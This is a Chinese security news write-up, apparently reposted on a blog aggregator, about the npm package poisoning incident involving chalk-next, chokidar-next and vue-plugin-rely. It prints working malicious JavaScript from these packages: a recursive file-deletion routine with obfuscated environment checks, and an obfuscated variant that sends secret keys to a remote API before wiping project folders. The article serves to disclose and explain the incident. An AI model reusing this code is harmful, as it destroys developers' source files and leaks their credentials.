npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

news2025/1/15 20:38:27

一、事件简述

1月5日,有开发者在 twitter 中发文称遭遇了名为 chalk-next 的组件投毒事件,该组件存在收集配置信息和删除本地文件的恶意逻辑,当前 NPM 仓库已经下线了该组件。
chalk-next 组件的开发者也是 vue-admin-beautiful 项目的作者 chuzhixin,vue-admin-beautiful 项目在 GitHub 中拥有 13.5K 的 star 数。
经过分析,包括 chalk-next 在内,作者发布的 chokider-next、vue-plugin-rely 包中的类似逻辑被用于识别、惩罚盗版行为,此事件也在 V2EX 等开发者社区中引起较多讨论。

二、事件过程

1月5日,@ewind1994 在 twitter 中发推文称发现了一个 PR(代码合并请求)试图针对他们 GitHub 项目投毒,该PR是将原有的chalk依赖修改为chalk-next,而chalk-next通过判断运行环境中的配置信息,在一定条件下会删除当前目录下的特定目录文件(包括.vscode、src、public、.git、.svn、mock、node_modules)。

当天 19:05,在用户投诉后,NPM 官方仓库删除了 chalk-next 包,目前已无法下载。

当天 19:11,在 V2EX 社区中有其他开发者发帖(https://v2ex.com/t/906834)描述了该事件相关信息

1 月 6 日 9:39,@chu1204505056 在推特中回应@ewind1994

1月6日 10:32,开发者 chuzhixin 在 GitHub 仓库(https://github.com/chuzhixin/chalk-next)中挂出一段说明,声称@ewind1994 一直在对其恶意攻击。

1月6日 11:27,开发者 chuzhixin 在AFFiNE项目中提出 issue(https://github.com/toeverything/AFFiNE/issues/676)质疑此前出现PR的原因。

三、投毒包分析

经过分析,该作者总共发布了 chalk-next、chokidar-next、vue-plugin-rely 三个 NPM 包都存在类似的删除文件逻辑。

chalk-next 分析

通过 NPM 仓库中可以看到 chalk-next 组件每周下载量200+,从 2021 年 6 月开始更新,使用了 chalk 的 readme 信息,存在很强的迷惑性。


历史版本信息:

从代码中可以看到,通过NODE_ENV环境变量判断当前不属于开发环境时,会将VUE_GITHUB_USER_NAMEVUE_APP_SECRET_KEY和当前时间发送到特定的API,返回数据的状态码为 202 时,会将./.vscode`` ``./src`` ``./public ./.git ./.svn ./mack ./node_modules这些文件路径传入到名为thanks的函数,该函数会删除传入的文件或目录。恶意代码片段如下

chokidar-next 分析

其在 NPM 仓库中使用的用户 vabjs,在发布的其他包中也存在类似的恶意行为,如chokidar-next,当前仍可下载。

使用相同的thanks 方法从系统上删除./vscode ./.git ./.svn ./src/vab ./library ./src/store ./public ./mock目录,触发的条件不同,只通过环境变量判断,而没有请求远程 API。代码片段如下:

function thanks(path) {
    var files = [];
    if (fs.existsSync(path)) {
      files = fs.readdirSync(path);
      files.forEach(function (file) {
        var curPath = path + "/" + file;
        if (fs.statSync(curPath).isDirectory()) {
          thanks(curPath);
        } else {
          fs.unlinkSync(curPath);
        }
      });
      fs.rmdirSync(path);
    }
  }
  
  !(() => {
    if (
      process.env["\u004e\u004f\u0044\u0045\u005f\u0045\u004e\u0056"] !==
      "\u0064\u0065\u0076\u0065\u006c\u006f\u0070\u006d\u0065\u006e\u0074"
    ) {
      var key =
        process.env[
          "\u0056\u0055\u0045\u005f\u0041\u0050\u0050\u005f\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059"
        ];
      if (!key) {
        thanks("./.vscode");
        thanks("./package.json");
      } else {
        if (
          key !=
            "\u0066\u0077\u0066\u006d\u0069\u0061\u006f\u0036\u0032\u0034\u0030\u0039\u0033\u0035\u0039\u0039" &&
          key != "\u0070\u0072\u0065\u0076\u0069\u0065\u0077"&&
          key != "vabp"
        ) {
          if (key.length < 50 || key.substring(key.length - 2) != "==") {
            thanks("./.vscode");
            thanks("./library");
            thanks("./src/vab");
            thanks("./src/store");
            thanks("./public");
            thanks("./.git");
            thanks("./.svn");
            thanks("./mock");
          }
        }
      }
    } else {
      var key =
        process.env[
          "\u0056\u0055\u0045\u005f\u0041\u0050\u0050\u005f\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059"
        ];
      if (!key) {
        thanks("./.vscode");
        thanks("./src/vab");
      }
      if (
        key !=
          "\u0066\u0077\u0066\u006d\u0069\u0061\u006f\u0036\u0032\u0034\u0030\u0039\u0033\u0035\u0039\u0039" &&
        key != "\u0070\u0072\u0065\u0076\u0069\u0065\u0077"&&
        key != "vabp"
      ) {
        if (key.length < 50 || key.substring(key.length - 2) != "==") {
          thanks("./.vscode");
          thanks("./.git");
          thanks("./.svn");
        }
      }
    }
  })();
  
  exports.watch = watch;

vue-plugin-rely 分析

vue-plugin-rely组件包也存在与chalk-next相同的逻辑,代码增加了混淆,同时在文件开头有一句针对盗版破解的注释声明,其代码如下:

/* 破解造成不可挽回后果自负,正版用户请勿因破解、恶意分享失去框架更新和使用的机会,盗版用户未获取授权就使用到商业项目将追究你的法律责任 */
const _0x6462 = [
  'log',
  'unlinkSync',
  'NODE_ENV',
  'existsSync',
  'then',
  'getTime',
  'readdirSync',
  'post',
  './node_modules',
  './public',
  'statSync',
  'VUE_APP_SECRET_KEY',
  'forEach',
  './.git',
  'https://**********',
  './.vscode',
  'env',
  'bgRed',
]
const _0x27fc = function (_0x646269, _0x27fce6) {
  _0x646269 = _0x646269 - 0x0
  let _0x3f0e99 = _0x6462[_0x646269]
  return _0x3f0e99
}
const axios = require('axios')
const chalk = require('chalk')
const fs = require('fs')
function thanks(_0x3503fb) {
  var _0x54aa51 = []
  //console['log'](fs[_0x27fc('0x3')](_0x3503fb))
  if (fs['existsSync'](_0x3503fb)) {
    _0x54aa51 = fs[_0x27fc('0x6')](_0x3503fb)
    _0x54aa51[_0x27fc('0xc')](function (_0x60171a, _0x43e5ad) {
      var _0x258bf5 = _0x3503fb + '/' + _0x60171a
      if (fs[_0x27fc('0xa')](_0x258bf5)['isDirectory']()) {
        thanks(_0x258bf5)
      } else {
        fs[_0x27fc('0x1')](_0x258bf5)
      }
    })
    fs['rmdirSync'](_0x3503fb)
  }
}
!(() => {
  if (process['env'][_0x27fc('0x2')] !== 'development') {
    axios({
      url: _0x27fc('0xe'),
      method: _0x27fc('0x7'),
      data: {
        customUserId: process['env']['VUE_GITHUB_USER_NAME'],
        secretKey: process['env']['VUE_APP_SECRET_KEY'],
        timestamp: new Date()[_0x27fc('0x5')](),
      },
    })
      [_0x27fc('0x4')](({ data }) => {
        if (data['code'] == 0xca) {
          thanks('./.vscode')
          thanks('./src')
          thanks(_0x27fc('0x9'))
          thanks(_0x27fc('0xd'))
          thanks('./.svn')
          thanks('./mock')
          thanks(_0x27fc('0x8'))
        }
        if (data['code'] != 0xc8) {
          console[_0x27fc('0x0')](chalk[_0x27fc('0x11')](data['msg']))
        }
      })
      ['catch'](() => {
        if (
          process[_0x27fc('0x10')][_0x27fc('0xb')] !== 'preview' &&
          process[_0x27fc('0x10')][_0x27fc('0xb')]['length'] <= '50'
        ) {
          thanks(_0x27fc('0xf'))
          thanks('./src')
          thanks('./public')
          thanks('./.git')
          thanks('./.svn')
          thanks('./mock')
          thanks('./node_modules')
        }
      })
  }
})()

四、总结

从开发者chuzhixin的回应和代码中的行为来看,作者的行为可能难以定义是恶意还是正义,所幸当前应该没有造成实质性的危害。但通过-next复刻原有项目重新发布确实容易令人混淆,对于使用开源组件的众多开发者而言又是一次信任的崩塌,开源不等于免费,也不等于安全,在使用中还是需要仔细甄别。
对于企业而言,类似的开源组件投毒的情况每天都在发生,需要及时建立相应的检测识别、处置响应能力。

该投毒已上线漏洞库,担心源码被删,快速检测自己的代码,查看风险详情🔍
检测地址:https://www.murphysec.com/
IDE插件说明文档:https://www.murphysec.com/docs/guides/scan-scene/ide-plugin.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/145376.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

配对交易策略设计

可交易的一个关键要求是两个股票的对数价格序列之间存在均衡关系。 而均衡关系由两个值描述&#xff1a;协整系数以及均衡值。一旦确定这两个值&#xff0c;它们就可以用来构建两种股票的对数价格的线性组合&#xff0c;即所谓的价差。配对交易是对价差均值回归特性的押注。当…

Gigabyte B450 Aorus Elite AMD Ryzen 5 3600电脑 Hackintosh 黑苹果efi引导文件

硬件型号驱动情况主板Gigabyte B450 Aorus Elite处理器AMD Ryzen 5 3600已驱动内存16GB Samsung DDR3 1600MHz已驱动硬盘Samsung 840 Evo 250GB已驱动显卡AMD Radeon RX570 4gb已驱动声卡Realtek ALC892已驱动网卡Realtek 8111G已驱动无线网卡蓝牙Asus AX3000 Dual Band PCI-E …

(一)云原生基础概念-容器-Kubernets

文章目录云原生云原生历程云原生技术范畴云原生与传统部署云原生关键技术传统vs微服务vsServerlessServerless容器分层复用模式容器运行构建镜像容器引擎架构-moby容器和VM之间的差异Kubernetes调度自动恢复水平伸缩总架构Master架构Node架构Pod一个kubernet架构VolumeDeployme…

【计组】GPU--《深入浅出计算机组成原理》(六)

​课程链接&#xff1a;深入浅出计算机组成原理_组成原理_计算机基础-极客时间 GPU 是随着计算机里面需要渲染三维图形的出现&#xff0c;而发展起来的设备。 一、GPU和图形渲染 完整的5 个步骤的渲染流程一般也被称为图形流水线&#xff08;Graphic Pipeline&#xff09; …

SREWorks v1.4 版本发布 | 离线安装 前端重构

在 v1.3 版本之后&#xff0c;SREWorks 团队收集了较多的用户反馈&#xff0c;大家普遍对于 SREWorks 的内网离线安装有较大的诉求。于是团队决定进一步增强这部分的安装能力。 前端工程部分 (frontend)&#xff0c;为了开发者更加敏捷高效的协作开发&#xff0c;以及便于社区…

web(一)—— HTML基础(web标准、开发工具、标签)

目标能够理解HTML的 基本语法 和标签的关系 能够使用 排版标签 实现网页中标题、段落等效果 能够使用 相对路径 选择不同目录下的文件 能够使用 媒体标签 在网页中显示图片、播放音频和视频 能够使用 链接标签 实现页面跳转功能一、基础认知目标&#xff1a;认识 网页组成 和 五…

vite使用css的各种功能

1.使用公共的变量(:root)定义在root的变量可以进行类的使用 :root { font-size: 160px;--main-bg-color:red } .red{color:var(--main-bg-color) }你看这个hello world变得多大多红 2.vite使用postcss-plugins/console’ 2-1安装&#xff1a;cnpm install postcss-plugins/co…

最大公约数-欧几里得算法

最近在复习数论&#xff0c;欢迎来到数论的起点gcd 最大公因数&#xff0c;也称最大公约数、最大公因子&#xff0c;指两个或多个整数共有约数中最大的一个。 欧几里得算法&#xff08;辗转相除法&#xff09; 已知两个数a和b&#xff0c;求出两数的最大公约数首先证明: 不妨…

uni-app入门:组件的基本使用

1.组件概念 2.组件分类 2.1 基础组件 2.2 拓展组件 2.3 easycom规范 3.自定义组件以及使用 3.1局部注册 3.2全局注册 1.组件概念首先讲一下什么是组件 官方说法&#xff1a; 组件是视图层的基本组成单元。 组件…

MySQL高级【存储过程】

1&#xff1a;存储过程1.1&#xff1a;介绍存储过程是事先经过编译并存储在数据库中的一段 SQL 语句的集合&#xff0c;调用存储过程可以简化应用开发 人员的很多工作&#xff0c;减少数据在数据库和应用服务器之间的传输&#xff0c;对于提高数据处理的效率是有好处的。 存储过…

玩转系统|Ventoy – 免格式化,超简单的『多合一』系统启动盘制作神器

Ventoy 现在可谓是U 盘启动界的一支独秀&#xff0c;简单来说&#xff0c;Ventoy 是一个制作可启动 U 盘的开源工具。有了 Ventoy 你就无需反复地格式化 U 盘&#xff0c;你的U盘不在局限于绑定某个PE系统&#xff0c;你只需要把 ISO/WIM/IMG/VHD(x)/EFI 等类型的文件拷贝到 U …

风控中的企业利润表的解读

对于中小微企业财务报表数据的三张最重要的报表——资产负债表、利润表、现金流量表&#xff0c;在评估企业的资质能力与风险程度等方面&#xff0c;都发挥着非常重要的作用。作为企业财务数据最基础的三个报表&#xff0c;每一类报表的数据指标信息&#xff0c;都从不同维度客…

用javascript分类刷leetcode18.队列(图文视频讲解)

队列的特点&#xff1a;先进先出&#xff08;FIFO&#xff09;队列的时间复杂度&#xff1a;入队和出队O(1)&#xff0c;查找O(n)优先队列&#xff1a;priorityQueue&#xff0c;按优先级出队&#xff0c;实现 Heap(Binary,Fibonacci...)js里没有队列&#xff0c;但是可以用数组…

【数据结构】5.4 二叉树的性质和存储结构

二叉树的性质 性质1&#xff1a; 在二叉树的第 i 层上至多有 2 i-1 个结点&#xff08;i > 1&#xff09;。 证明&#xff1a;利用归纳法证明此性质。 第 i 层上至少也应该有 1 个结点&#xff0c;如果是 0 个结点的话那就没有这一层了。 性质2&#xff1a; 深度为 k &a…

java static 关键字

目录 一、前言 二、用途和效果 2.1. static修饰的范围 2.2.执行特点 2.3.static关键字的用途 三. 注意 static关键字误区: 一、前言 在我们学习java中会碰到许多关键字 , 例如: static、final、 transient、instanceof、break 、continue 等其他的关键字&#xff0c;今天…

CBM|用于lncRNA-疾病关联预测的数据资源和计算方法(综述)

CBM|用于lncRNA-疾病关联预测的数据资源和计算方法&#xff08;综述&#xff09; 最近搞了个公众号《AI and Bioinformatics》介绍应用于生物信息学的人工智能算法和研究进展&#xff0c;以及网络表示学习算法研究&#xff0c;欢迎向本公众号投稿文献解读类原创文章&#xff0…

11_7、Java集合之Collections工具类的使用

一、作用是操作Collection和Map的集合操作类。二、常用方法1、排序操作&#xff1a;&#xff08;均为static方法&#xff09;reverse(List)&#xff1a;反转 List 中元素的顺序shuffle(List)&#xff1a;对 List 集合元素进行随机排序sort(List)&#xff1a;根据元素的自然顺序…

20.04安装carla0.9.13记录

已经多次在不同版本的系统18.04、20.04安装carla不同源码版本0.9.11&#xff0c;0.9.12&#xff0c;0.9.13了&#xff0c;发现每次安装总是会遇到那么几个问题&#xff0c;现在新配了主机又要重新安装carla&#xff0c;这次准备详细的记录一下&#xff0c;方便未来安装时又遇到…

共享单车蓝牙锁方案phy6222系列蓝牙芯片

公共交通工具的"最后一公里"是城市居民出行采用公共交通出行的主要障碍&#xff0c;也是建设绿色城市、低碳城市过程中面临的主要挑战。随着科技的发展&#xff0c;物联网领域市场的不断开拓BLE协议在共享交通工具上打开了突破口&#xff0c;目前已广泛应用及遍布我们…

更换服务器的笔记

文章目录背景问题汇总服务器 git 的建立Q: 启动的服务连不上背景 最近阿里云的服务器到期了&#xff0c;但是续费实在是太贵了 之前是嫌麻烦&#xff0c;然后续费还挺便宜的&#xff0c;所以就没折腾去换服务器 这回续费一个月就小一百&#xff0c; 吃不消了&#xff0c;不得…